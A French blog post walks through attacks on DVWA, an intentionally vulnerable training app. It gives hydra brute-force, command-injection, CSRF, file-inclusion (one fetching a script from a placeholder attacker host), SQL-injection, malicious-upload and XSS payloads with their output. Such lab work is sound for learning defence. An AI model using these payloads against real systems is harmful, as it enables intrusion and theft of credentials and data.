Sécu - DVWA
Alasta 28 Mai 2014 security Apps CentOS cookie Dojo dvwa Linux Open Source Security
Description : Un petit tour d'horizon du site truffé de trou de sécurité.
Contexte :
Le but ici est de voir certaines attaques web, non pas pour devenir un hacker mais plus pour voir les manières de s'en prémunir dans d'autres billets. Les tests se feront en security low. Il est bon de rappeler que ce type d'attaque est strictement interdit par la loi !
DVWA kézako :
DVWA (Damn Vulnerable Web App) est une application PHP/MySQL qui possède une des vulnérabilités avec trois niveaux de sécurité low, medium et high.
Plan des tests :
Un poste attaquant sous Linux, un serveur hébergeant DVWA j'ai opté pour car en l'installant moi même bizarrement certaines attaques ne passée pas ce qui est gênant dans nos tests. Les sources de l'ISO sont disponible , personnellement j'ai pris la version 2.0.
Phases de tests :
Page de login :
Le login et mot de passe par défaut : admin/password Pour le test de brute force, voir l'article :
Item Brute Force :
hydra -L users.txt -P words.txt -v -V 192.168.5.41 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=brqt86los2cb9hm1cfukfo81m5" Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-26 22:04:25 [DATA] 8 tasks, 1 server, 8 login tries (l:2/p:4), ~1 try per task [DATA] attacking service http-get-form on port 80 [VERBOSE] Resolving addresses ... done [ATTEMPT] target 192.168.5.41 - login "iiiiiadmin" - pass "toto" - 1 of 8 [child 0] [ATTEMPT] target 192.168.5.41 - login "iiiiiadmin" - pass "password" - 2 of 8 [child 1] [ATTEMPT] target 192.168.5.41 - login "iiiiiadmin" - pass "otodd" - 3 of 8 [child 2] [ATTEMPT] target 192.168.5.41 - login "iiiiiadmin" - pass "Ksd" - 4 of 8 [child 3] [ATTEMPT] target 192.168.5.41 - login "admin" - pass "toto" - 5 of 8 [child 4] [ATTEMPT] target 192.168.5.41 - login "admin" - pass "password" - 6 of 8 [child 5] [ATTEMPT] target 192.168.5.41 - login "admin" - pass "otodd" - 7 of 8 [child 6] [ATTEMPT] target 192.168.5.41 - login "admin" - pass "Ksd" - 8 of 8 [child 7] [STATUS] attack finished for 192.168.5.41 (waiting for children to complete tests) [80][www-form] host: 192.168.5.41 login: admin password: password 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2014-05-26 22:04:26
Le cookie de session PHP est récupérer sur une connexion courant via le plugin live HTTP sur Firefox.
Command Execution :
Commande : 127.0.0.1; ls /tmp
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.028 ms 64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.032 ms 64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.033 ms --- 127.0.0.1 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1998ms rtt min/avg/max/mdev = 0.028/0.031/0.033/0.002 ms hsperfdata_tomcat6 keyring-NI3HFc orbit-dojo pulse-2L9K88eMlGn7 pulse-PKdhtXMmr18n ssh-scnLFiMj1036 tomcat6-tomcat6-tmp
ou
Commande : || ls /tmp
hsperfdata_tomcat6 keyring-NI3HFc orbit-dojo pulse-2L9K88eMlGn7 pulse-PKdhtXMmr18n ssh-scnLFiMj1036 tomcat6-tomcat6-tmp
CSRF :
Via URL : http://192.168.5.41/dvwa/vulnerabilities/csrf/?password_new=tt&password_conf=tt&Change=Change#
Password Changed
Le but est de d'envoyer un mail avec un lien qui cache se type de requête malicieuse. Il est intéressant de demander une validation utilisateur lors de ces actions.
=> penser a remettre le mot de passe par défaut pour éviter les mauvaises surprises !
File inclusion :
Via URL : http://192.168.5.41/dvwa/vulnerabilities/fi/?page=/etc/passwd
ou
http://192.168.5.41/dvwa/vulnerabilities/fi/?page=data:,&cmd=hostname
ou
http://192.168.5.41/dvwa/vulnerabilities/fi/?page=data:,&cmd= http://serveur.pirate.com/script.malicieu.sh
SQL Injection :
Commande : toto' or '1
ID: toto' or '1 First name: admin Surname: admin ID: toto' or '1 First name: Gordon Surname: Brown ID: toto' or '1 First name: Hack Surname: Me ID: toto' or '1 First name: Pablo Surname: Picasso ID: toto' or '1 First name: Bob Surname: Smith
Upload :
Créer un fichier appelé etcpass.php contenant :
Dans DVWA uploader le fichier, il vous informe que cela à fonctionner et fournit le chemin, ajouter le à l'URL courante :
URl : http://192.168.5.41/dvwa/vulnerabilities/upload/../../hackable/uploads/etcpass.php
et la bingo :
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/ ......
XSS reflected :
<script>alert(document.cookie)</script>
ou
<IMG """><SCRIPT>alert("XSS MAISON")</SCRIPT>">
XSS stored :
La différence avec le XSS reflected, c'est que le XSS sera stocké
N'importe quoi dans le champ name et un des deux exemples du XSS reflected dans message, là il ne se passe pas grand chose mais aller dans un autre module et revenir sur XSS Stored, là la popup apparaît.